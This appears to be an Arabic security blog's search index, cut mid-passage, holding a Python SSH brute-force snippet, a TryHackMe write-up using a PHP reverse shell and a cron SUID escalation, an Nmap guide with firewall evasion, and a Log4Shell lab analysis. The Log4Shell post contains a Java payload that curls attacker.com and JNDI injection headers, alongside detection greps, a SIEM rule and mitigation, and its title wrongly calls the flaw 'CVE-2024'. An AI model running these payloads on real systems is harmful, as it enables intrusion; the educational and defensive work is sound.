class=\"n\"\u003eset_missing_host_key_policy\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eparamiko\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAutoAddPolicy\u003c/span\u003e\u003cspan class=\"p\"\u003e())\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003etry\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003eclient\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003econnect\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ehost\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eport\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"n\"\u003eport\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eusername\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"n\"\u003eusername\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003epassword\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"n\"\u003epassword\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003etimeout\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"mi\"\u003e5\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003estdin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003estdout\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003estderr\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eclient\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eexec_command\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;id \u0026amp;\u0026amp; hostname\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nb\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estdout\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eread\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edecode\u003c/span\u003e\u003cspan class=\"p\"\u003e())\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003eclient\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eclose\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"kc\"\u003eTrue\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eexcept\u003c/span\u003e \u003cspan class=\"n\"\u003eparamiko\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAuthenticationException\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"kc\"\u003eFalse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eexcept\u003c/span\u003e \u003cspan class=\"ne\"\u003eException\u003c/span\u003e \u003cspan class=\"k\"\u003eas\u003c/span\u003e \u003cspan class=\"n\"\u003ee\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nb\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"sa\"\u003ef\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;Error: \u003c/span\u003e\u003cspan class=\"si\"\u003e{\u003c/span\u003e\u003cspan class=\"n\"\u003ee\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"kc\"\u003eFalse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003chr\u003e\n\u003ch2 id=\"المشاريع-الموصى-بها-للتعلم\"\u003eالمشاريع الموصى بها للتعلم\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003ePort Scanner\u003c/strong\u003e ← ابدأ هنا\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eSubdomain Enumeration tool\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eWeb Directory Brute-forcer\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eSSH Brute-force\u003c/strong\u003e (على أهداف مرخصة فقط!)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ePacket Sniffer\u003c/strong\u003e باستخدام Scapy\u003c/li\u003e\n\u003c/ol\u003e","title":"Python للهاكرز — من الأساسيات إلى الأدوات الحقيقية"},{"content":"\nمعلومات عامة المعلومة التفاصيل المنصة TryHackMe الصعوبة Easy نظام التشغيل Linux المهارات FTP, File Upload RCE, Cron Privesc المرحلة الأولى: الاستطلاع # Nmap scan nmap -sV -sC -p- --min-rate 5000 10.10.X.X # النتائج: # PORT STATE SERVICE VERSION # 21/tcp open ftp vsftpd 3.0.3 # 22/tcp open ssh OpenSSH 7.2p2 # 80/tcp open http Apache 2.4.18 المرحلة الثانية: FTP Anonymous Access ftp 10.10.X.X # Username: anonymous # Password: (فارغ) ftp\u0026gt; ls -la # نجد مجلد /ftp يحتوي ملفات # notice.txt, important.jpg ftp\u0026gt; get notice.txt ftp\u0026gt; get important.jpg محتوى notice.txt:\nWhoever is leaving these lying around, please stop! المرحلة الثالثة: Web Enumeration # فحص الويب gobuster dir -u http://10.10.X.X -w /usr/share/wordlists/dirb/common.txt # نجد: # /files (200) ← مجلد مشترك مع FTP! المرحلة الرابعة: RCE عبر PHP Shell Upload # رفع PHP reverse shell عبر FTP ftp 10.10.X.X ftp\u0026gt; put shell.php # تشغيل netcat listener nc -lvnp 4444 # تشغيل الـ shell عبر المتصفح # http://10.10.X.X/files/shell.php نحصل على Shell!\n# تثبيت الـ shell python3 -c \u0026#39;import pty;pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; export TERM=xterm المرحلة الخامسة: Privilege Escalation # البحث في الـ logs ls /incidents/ cat /incidents/suspicious.pcapng # نجد كلمة سر في ملف الـ pcap # أو نبحث عن cron jobs cat /etc/crontab # نجد script يعمل كـ root # نعدّله لرفع صلاحياتنا echo \u0026#34;chmod +s /bin/bash\u0026#34; \u0026gt;\u0026gt; /path/to/script.sh # ننتظر الـ cron يعمل... /bin/bash -p الـ Flags user.txt: THM{XXXXXXXXXXXXXXXXXX} root.txt: THM{XXXXXXXXXXXXXXXXXX} الدروس المستفادة Anonymous FTP يجب تعطيله في الأنظمة الإنتاجية مشاركة مجلد FTP مع الويب ثغرة حرجة تسمح بـ RCE Cron Jobs تعمل كـ root مع ملفات قابلة للتعديل = خطر كبير ","permalink":"https://cyberah-blog.pages.dev/writeups/thm/thm-startup/","summary":"\u003cp\u003e\u003cimg alt=\"Startup Room Banner\" loading=\"lazy\" src=\"/images/2.jpg\"\u003e\u003c/p\u003e\n\u003ch2 id=\"معلومات-عامة\"\u003eمعلومات عامة\u003c/h2\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003eالمعلومة\u003c/th\u003e\n          \u003cth\u003eالتفاصيل\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eالمنصة\u003c/td\u003e\n          \u003ctd\u003eTryHackMe\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eالصعوبة\u003c/td\u003e\n          \u003ctd\u003eEasy\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eنظام التشغيل\u003c/td\u003e\n          \u003ctd\u003eLinux\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eالمهارات\u003c/td\u003e\n          \u003ctd\u003eFTP, File Upload RCE, Cron Privesc\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003chr\u003e\n\u003ch2 id=\"المرحلة-الأولى-الاستطلاع\"\u003eالمرحلة الأولى: الاستطلاع\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# Nmap scan\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003enmap -sV -sC -p- --min-rate \u003cspan class=\"m\"\u003e5000\u003c/span\u003e 10.10.X.X\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# النتائج:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# PORT   STATE SERVICE VERSION\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 21/tcp open  ftp     vsftpd 3.0.3\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 22/tcp open  ssh     OpenSSH 7.2p2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 80/tcp open  http    Apache 2.4.18\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003chr\u003e\n\u003ch2 id=\"المرحلة-الثانية-ftp-anonymous-access\"\u003eالمرحلة الثانية: FTP Anonymous Access\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eftp 10.10.X.X\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# Username: anonymous\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# Password: (فارغ)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eftp\u0026gt; ls -la\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# نجد مجلد /ftp يحتوي ملفات\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# notice.txt, important.jpg\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eftp\u0026gt; get notice.txt\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eftp\u0026gt; get important.jpg\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003eمحتوى notice.txt:\u003c/strong\u003e\u003c/p\u003e","title":"TryHackMe — Startup | Writeup كامل"},{"content":"ما هو Nmap؟ Nmap (Network Mapper) هو أقوى أداة مسح للشبكات في العالم. يستخدمه المخترقون الأخلاقيون ومسؤولو الأمن لـ:\nاكتشاف الأجهزة المتصلة بالشبكة تحديد المنافذ المفتوحة معرفة الخدمات وإصداراتها الكشف عن نظام التشغيل الاستخدامات الأساسية مسح سريع (Quick Scan) # مسح أسرع 100 منفذ شيوعاً nmap -F 192.168.1.1 # مسح كل المنافذ (65535) nmap -p- 192.168.1.1 # مسح نطاق IP كامل nmap 192.168.1.0/24 مسح الخدمات والإصدارات # الكشف عن الخدمات وإصداراتها nmap -sV 192.168.1.1 # الكشف عن نظام التشغيل nmap -O 192.168.1.1 # المسح الشامل الموصى به nmap -sV -sC -O -p- --min-rate 5000 192.168.1.1 أنواع المسح (Scan Types) النوع الخيار الاستخدام SYN Scan -sS الافتراضي، سريع وخفي TCP Connect -sT عند عدم وجود صلاحيات root UDP Scan -sU للخدمات UDP NULL Scan -sN التهرب من الـ Firewall Xmas Scan -sX التهرب من الـ Firewall # SYN Scan (يتطلب صلاحية root) sudo nmap -sS 192.168.1.1 # UDP مسح كامل (بطيء!) sudo nmap -sU -p- 192.168.1.1 Nmap Scripting Engine (NSE) القوة الحقيقية لـ Nmap تكمن في مكتبة الـ Scripts.\n# تشغيل الـ scripts الافتراضية nmap -sC 192.168.1.1 # scripts فئة vuln (البحث عن ثغرات) nmap --script vuln 192.168.1.1 # script محدد nmap --script=http-title 192.168.1.1 nmap --script=smb-vuln-ms17-010 192.168.1.1 # scripts لـ HTTP nmap --script=http-enum,http-headers,http-methods 192.168.1.1 التهرب من الجدران النارية (Firewall Evasion) # تجزئة الباكيتات nmap -f 192.168.1.1 # تغيير حجم MTU nmap --mtu 24 192.168.1.1 # إضافة IPs وهمية (Decoys) nmap -D RND:10 192.168.1.1 # تغيير المنفذ المصدر nmap --source-port 53 192.168.1.1 # التأخير الزمني nmap -T1 192.168.1.1 # paranoid (أبطأ وأخفى) nmap -T5 192.168.1.1 # insane (أسرع) حفظ النتائج # حفظ بصيغ مختلفة nmap -oN output.txt 192.168.1.1 # نص عادي nmap -oX output.xml 192.168.1.1 # XML nmap -oG output.gnmap 192.168.1.1 # Grepable nmap -oA all_formats 192.168.1.1 # كل الصيغ الأوامر الجاهزة للاستخدام # المسح الشامل الأساسي sudo nmap -sV -sC -p- --min-rate 5000 -oN full_scan.txt TARGET # مسح سريع للـ CTF nmap -sV -sC -p 21,22,80,443,445,8080 TARGET # استهداف ويب nmap --script=http-title,http-headers,http-methods -p 80,443 TARGET ","permalink":"https://cyberah-blog.pages.dev/tools/nmap-complete-guide/","summary":"\u003ch2 id=\"ما-هو-nmap\"\u003eما هو Nmap؟\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eNmap\u003c/strong\u003e (Network Mapper) هو أقوى أداة مسح للشبكات في العالم. يستخدمه المخترقون الأخلاقيون ومسؤولو الأمن لـ:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eاكتشاف الأجهزة المتصلة بالشبكة\u003c/li\u003e\n\u003cli\u003eتحديد المنافذ المفتوحة\u003c/li\u003e\n\u003cli\u003eمعرفة الخدمات وإصداراتها\u003c/li\u003e\n\u003cli\u003eالكشف عن نظام التشغيل\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"الاستخدامات-الأساسية\"\u003eالاستخدامات الأساسية\u003c/h2\u003e\n\u003ch3 id=\"مسح-سريع-quick-scan\"\u003eمسح سريع (Quick Scan)\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# مسح أسرع 100 منفذ شيوعاً\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003enmap -F 192.168.1.1\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# مسح كل المنافذ (65535)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003enmap -p- 192.168.1.1\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# مسح نطاق IP كامل\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003enmap 192.168.1.0/24\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"مسح-الخدمات-والإصدارات\"\u003eمسح الخدمات والإصدارات\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# الكشف عن الخدمات وإصداراتها\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003enmap -sV 192.168.1.1\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# الكشف عن نظام التشغيل\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003enmap -O 192.168.1.1\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# المسح الشامل الموصى به\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003enmap -sV -sC -O -p- --min-rate \u003cspan class=\"m\"\u003e5000\u003c/span\u003e 192.168.1.1\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003chr\u003e\n\u003ch2 id=\"أنواع-المسح-scan-types\"\u003eأنواع المسح (Scan Types)\u003c/h2\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003eالنوع\u003c/th\u003e\n          \u003cth\u003eالخيار\u003c/th\u003e\n          \u003cth\u003eالاستخدام\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eSYN Scan\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003e-sS\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003eالافتراضي، سريع وخفي\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eTCP Connect\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003e-sT\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003eعند عدم وجود صلاحيات root\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eUDP Scan\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003e-sU\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003eللخدمات UDP\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eNULL Scan\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003e-sN\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003eالتهرب من الـ Firewall\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eXmas Scan\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003e-sX\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003eالتهرب من الـ Firewall\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# SYN Scan (يتطلب صلاحية root)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003esudo nmap -sS 192.168.1.1\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# UDP مسح كامل (بطيء!)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003esudo nmap -sU -p- 192.168.1.1\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003chr\u003e\n\u003ch2 id=\"nmap-scripting-engine-nse\"\u003eNmap Scripting Engine (NSE)\u003c/h2\u003e\n\u003cp\u003eالقوة الحقيقية لـ Nmap تكمن في مكتبة الـ Scripts.\u003c/p\u003e","title":"الدليل الشامل لـ Nmap — من المبتدئ للمحترف"},{"content":" ⚠️ تنبيه: هذا المقال لأغراض تعليمية بحتة. اختبر فقط على أنظمة مرخصة.\nنظرة عامة نوع الثغرة: Remote Code Execution (RCE) عبر JNDI Injection التأثير: Critical (CVSS 10.0) الأنظمة المتأثرة: Apache Log4j 2.0-beta9 to 2.14.1\nكيف تعمل الثغرة؟ فهم JNDI JNDI (Java Naming and Directory Interface) هي واجهة Java للتواصل مع خدمات الدليل مثل LDAP.\nالمشكلة: Log4j كان يفسّر الـ input ويستدعي موارد خارجية:\nUser-Agent: ${jndi:ldap://attacker.com/exploit} عند تسجيل هذه القيمة، تقوم Log4j بـ:\nرؤية ${jndi:...} الاتصال بـ LDAP server الخاص بالمهاجم تنزيل وتشغيل Java class ضار! الاستغلال (Lab Environment) إعداد بيئة الاختبار # تثبيت بيئة ضعيفة للتدريب docker pull ghcr.io/christophetd/log4shell-vulnerable-app docker run -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app إعداد LDAP Server للاختبار # استخدام marshalsec git clone https://github.com/mbechler/marshalsec cd marshalsec mvn clean package -DskipTests # تشغيل LDAP redirector java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar \\ marshalsec.jndi.LDAPRefServer \u0026#34;http://attacker-ip:8888/#Exploit\u0026#34; إنشاء Java Payload // Exploit.java public class Exploit { static { try { Runtime.getRuntime().exec(\u0026#34;curl attacker.com/callback\u0026#34;); } catch (Exception e) { e.printStackTrace(); } } } # تجميع وتقديم الـ Payload javac Exploit.java python3 -m http.server 8888 إرسال الـ Payload # اختبار عبر X-Api-Version header curl -H \u0026#39;X-Api-Version: ${jndi:ldap://attacker.com:1389/exploit}\u0026#39; \\ http://target:8080/ # أو عبر User-Agent curl -A \u0026#39;${jndi:ldap://attacker.com:1389/exploit}\u0026#39; \\ http://target:8080/ الكشف والرصد (Detection) البحث في الـ Logs # البحث عن محاولات الاستغلال grep -E \u0026#39;\\$\\{jndi:(ldap|rmi|dns|corba)://\u0026#39; /var/log/app/*.log # Regex أكثر شمولاً grep -iE \u0026#39;\\$\\{[^\\}]*j[^\\}]*n[^\\}]*d[^\\}]*i[^\\}]*:\u0026#39; /var/log/*.log Wazuh / SIEM Rule \u0026lt;rule id=\u0026#34;100001\u0026#34; level=\u0026#34;15\u0026#34;\u0026gt; \u0026lt;match\u0026gt;jndi:\u0026lt;/match\u0026gt; \u0026lt;description\u0026gt;Possible Log4Shell exploitation attempt\u0026lt;/description\u0026gt; \u0026lt;group\u0026gt;log4shell,exploit\u0026lt;/group\u0026gt; \u0026lt;/rule\u0026gt; الإصلاح والتخفيف (Mitigation) # الحل الفوري — تعطيل JNDI Lookup java -Dlog4j2.formatMsgNoLookups=true -jar application.jar # الحل الدائم — تحديث Log4j # في Maven: \u0026lt;dependency\u0026gt; \u0026lt;groupId\u0026gt;org.apache.logging.log4j\u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt;log4j-core\u0026lt;/artifactId\u0026gt; \u0026lt;version\u0026gt;2.17.1\u0026lt;/version\u0026gt; \u0026lt;!-- أو أحدث --\u0026gt; \u0026lt;/dependency\u0026gt; الدروس المستفادة لا تثق أبداً في المدخلات الخارجية — Log processing لا يعني أمان JNDI خطير في البيئات التي تقبل input مستخدم Asset inventory ضروري لمعرفة أين تستخدم Log4j Virtual Patching (WAF rules) مهم للاستجابة السريعة ","permalink":"https://cyberah-blog.pages.dev/cve/cve-2024-log4shell-analysis/","summary":"\u003cblockquote\u003e\n\u003cp\u003e⚠️ \u003cstrong\u003eتنبيه\u003c/strong\u003e: هذا المقال لأغراض تعليمية بحتة. اختبر فقط على أنظمة مرخصة.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch2 id=\"نظرة-عامة\"\u003eنظرة عامة\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eنوع الثغرة\u003c/strong\u003e: Remote Code Execution (RCE) عبر JNDI Injection\n\u003cstrong\u003eالتأثير\u003c/strong\u003e: Critical (CVSS 10.0)\n\u003cstrong\u003eالأنظمة المتأثرة\u003c/strong\u003e: Apache Log4j 2.0-beta9 to 2.14.1\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"كيف-تعمل-الثغرة\"\u003eكيف تعمل الثغرة؟\u003c/h2\u003e\n\u003ch3 id=\"فهم-jndi\"\u003eفهم JNDI\u003c/h3\u003e\n\u003cp\u003e\u003cstrong\u003eJNDI\u003c/strong\u003e (Java Naming and Directory Interface) هي واجهة Java للتواصل مع خدمات الدليل مثل LDAP.\u003c/p\u003e\n\u003cp\u003eالمشكلة: Log4j كان يفسّر الـ input ويستدعي موارد خارجية:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eUser-Agent: ${jndi:ldap://attacker.com/exploit}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eعند تسجيل هذه القيمة، تقوم Log4j بـ:\u003c/p\u003e","title":"تحليل CVE-2024 — Log4Shell العودة: درس في JNDI Injection"},{"content":"سياسة الخصوصية آخر تحديث: 19 أبريل 2026\nجمع البيانات لا نجمع أي بيانات شخصية تعريفية. نستخدم Google Analytics لتحليل حركة الزوار بشكل 